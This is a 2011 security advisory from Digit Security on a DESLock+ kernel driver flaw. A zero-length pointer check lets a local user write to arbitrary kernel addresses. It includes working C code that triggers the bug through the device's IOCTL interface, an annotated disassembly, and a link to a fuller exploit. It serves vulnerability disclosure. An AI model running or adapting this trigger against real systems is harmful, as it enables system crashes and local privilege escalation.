DSEC-2011-0002

Digit Security Security Advisory

Data Encryption Systems - DESLock +

Local Kernel Code Execution/Denial of Service

Tuesday 8th February, 2011

(generated on: Friday 15th April, 2011)

Local Kernel Code Execution/Denial of Service - multiple vulnerabilities in the IOCTL interface.

Tel: +44 (0)3300 881337
info@digit-security.com
digit-security.com

Contents

Vulnerability Summary

Vendor:	Data Encryption Systems
Product:	DESLock +
Affected Versions:	<= 4.1.12
Vendor URL:	http://www.deslock.com/

Author:	Neil 'mu-b' Kettle
CVE Reference:	Not Yet Assigned
BID #:	BID-46270
Severity:	High
Local/Remote:	Local
Vulnerability Class:	Denial of Service/Privilege Escalation
Impact:	An attacker exploiting this vulnerability may execute arbitrary code with kernel mode privileges, or cause a Denial of Service attack via a page fault caused by an invalid pointer dereference.

1 Detailed Vulnerability Information

1.1 Introduction

A vulnerability has been discovered in one of Data Encryption Systems DESLock + kernel drivers, the vulnerability exists due to a condition in the validation of user-supplied pointers and trust thereof. Data Encryption Systems documentation describes DESLock + as:

"DESlock+ employs industry standard encryption algorithms to provide full-disk and folder encryption which are transparent to the user.

DESlock+ protects any file type straight from the Windows Desktop and our encrypted folders provide unbeatable convenience with proper key-based encryption. By providing personal users with the same install as our business customers, our unique, patented keysharing system brings secure data exchange to all users." [1]

1.2 Technical Background

A vulnerability exists due to the improper validation of a user-supplied pointer within a structure passed as argument to the IOCTL interface exported from the globally accessible "\\.\DLPTokenWalter0" device.

The following code is the minimum required to reach the defective code within the DESLock + kernel driver,

```
#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define VDLPTOKN_IOCTL    0x00222010

struct ioctl_req {
  CHAR pad[0x1C];
  void *ptr; DWORD ptr_len;
  void *ptr2; DWORD ptr2_len;
  CHAR _pad[0x4E - 0x2C];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  CHAR rbuf[0x2D];
  HANDLE hFile;
  DWORD rlen;

  hFile = CreateFileA ("\\\\.\\DLPTokenWalter0", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);
  req.ptr = (void *) rbuf;
  req.ptr_len = sizeof rbuf;
  req.ptr2 = (void *) 0xDEADBEEF;
  req.ptr2_len = 0; /* ProbeForRead/Write skip */

  DeviceIoControl (hFile, VDLPTOKN_IOCTL,
                   &req, 0x4E, &req, 0x4E, &rlen, 0);
  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}
```

1.3 Vulnerability Details

The vulnerability is present in the IOCTL handler for the "\\.\DLPTokenWalter0" device, part of which is given in Figure 1.

```
.text:00013120 mov     esi, [ecx+0Ch]  <- user buffer
.text:00013123 test    esi, esi
.text:00013125 push    edi
.text:00013126 mov     edi, [ecx+60h]
.text:00013129 mov     eax, [edi+8]
.text:0001312C mov     edx, [edi+4]
.text:0001312F jz      loc_131E3
.text:00013135 cmp     eax, 4Eh
.text:00013138 jnz     loc_131E3
.text:0001313E cmp     edx, eax
.text:00013140 jnz     loc_131E3
.text:00013146 mov     eax, [edi+0Ch]
.text:00013149 sub     eax, 222010h    <- ioctl value
.text:0001314E jz      short loc_1315F
...
.text:0001315F loc_1315F:
.text:0001315F push    dword ptr [esi+28h] ; Length
.text:00013162 push    dword ptr [esi+24h] ; Address
.text:00013165 push    ecx             ; int
.text:00013166 call    sub_1300E       <- ProbeForRead/Write
.text:0001316B test    al, al
.text:0001316D jz      short loc_131E0
.text:0001316F push    dword ptr [esi+20h] ; Length
.text:00013172 push    dword ptr [esi+1Ch] ; Address
.text:00013175 push    [ebp+arg_4]
.text:00013178 jmp     short loc_13180
...
.text:00013180 loc_13180:
.text:00013180 call    sub_1300E       <- ProbeForRead/Write
.text:00013185 test    al, al
.text:00013187 jz      short loc_131E0
.text:00013189 mov     ecx, [ebp+arg_4]
...
.text:00013220 mov     eax, [esi+24h]  <- user buffer
.text:00013223 mov     byte ptr [eax], 55h
```

Figure 1: IOCTL handler

In the code given in Figure 1, a pointer to the user buffer provided as

argument to the call to `DeviceIoControl` is stored in register `esi` at offset `0x00013120`. The pointer is later dereferenced at offsets `0x0001315F` and `0x00013162` to obtain both a user-definable pointer (`[esi+24h]`) and a length (`[esi+28h]`) which are then validated by calls to `ProbeForRead` and `ProbeForWrite` in the function `sub_1300E`. Later the user-definable pointer `[esi+24h]` is dereferenced and a single byte (`0x55`) written.

At first glance it appears that the dereference of the user-definable pointer `[esi+24h]` is 'safe' since it has been validated by calls to `ProbeForRead` and `ProbeForWrite` in the function `sub_1300E`. However, prior to the dereference at offset `0x00013223`, no attempt is made to verify the value of the 3^{rd} argument to function `sub_1300E` which is subsequently passed as the second argument to `ProbeForRead` / `ProbeForWrite` (`__in SIZE_T Length`). As such, a value of 0 (zero) may be passed for this length (`[esi+28h]`). In this case, `ProbeForRead` / `ProbeForWrite` will not raise an exception should the pointer given as the first argument (`[esi+24h]`, `__in PVOID Address`) point to an invalid user-mode address, or, for that matter, a kernel-mode address.

1.4 Exploit Information

Proof of concept exploit code can be obtained from http://www.digit-labs.org/files/exploits/deslock-vdlptokn.c. An updated version of the exploit that targets DESLock $^{+} > 4.1.10$ will be made available shortly.

2 Vendor Response

The same vulnerability has persisted within DESLock + for over 2 years, and despite numerous Data Encryption Systems's attempts to rectify the issue, all attempts have fallen short of being sufficient to negate exploitation. While we endeavour to contact all vendors prior to release of any vulnerability information, it should be noted that every attempt made to contact Data Encryption Systems and inform them of the vulnerability (and many other vulnerabilities) either results in no response, or, an 'unfavourable' response.

3 Recommendations

It is recommended that affected systems are updated to the latest version of DESLock+ available from Data Encryption Systems (http://www.deslock.com/).

References

[1] Data Encryption Systems Ltd. Deslock+: Products. http://www.deslock.com/deslock+_personal.php, 2011.